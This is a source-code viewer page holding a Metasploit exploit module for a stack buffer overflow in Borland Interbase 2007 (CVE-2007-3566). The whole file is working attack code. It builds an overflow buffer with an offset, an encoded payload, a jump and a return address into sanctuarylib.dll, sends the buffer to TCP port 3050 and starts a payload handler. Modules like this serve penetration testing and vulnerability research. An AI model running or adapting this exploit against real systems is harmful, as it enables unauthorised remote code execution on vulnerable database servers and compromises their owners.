Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / misc / borland_interbase.rb @ master

History | View | Annotate | Download (2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = AverageRanking
16

    
17
        include Msf::Exploit::Remote::Tcp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Borland Interbase Create-Request Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in Borland Interbase 2007.
24
                                By sending a specially crafted create-request packet, a remote
25
                                attacker may be able to execute arbitrary code.
26
                        },
27
                        'Author'         => 'MC',
28
                        'Version'        => '$Revision$',
29
                        'References'     =>
30
                                [
31
                                        [ 'CVE', '2007-3566' ],
32
                                        [ 'OSVDB', '38602' ],
33
                                        [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
34
                                ],
35
                        'DefaultOptions' =>
36
                                {
37
                                        'EXITFUNC' => 'thread',
38
                                },
39
                        'Payload'        =>
40
                                {
41
                                        'Space'    => 850,
42
                                        'BadChars' => "\x00",
43
                                        'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
44
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
45
                                },
46
                        'Platform'       => 'win',
47
                        'Targets'        =>
48
                                [
49
                                        [ 'Windows 2000 English All / Borland InterBase 2007',     { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
50
                                ],
51
                        'Privileged'     => true,
52
                        'DefaultTarget'  => 0,
53
                        'DisclosureDate' => 'Jul 24 2007'))
54

    
55
                register_options([Opt::RPORT(3050)], self.class)
56
        end
57

    
58
        def exploit
59
                connect
60

    
61
                # Build the exploit buffer.... It's a biggie!
62
                sploit =  "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
63
                sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
64
                sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
65

    
66
                print_status("Trying target #{target.name}...")
67
                sock.put(sploit)
68

    
69
                handler
70
                disconnect
71
        end
72

    
73
end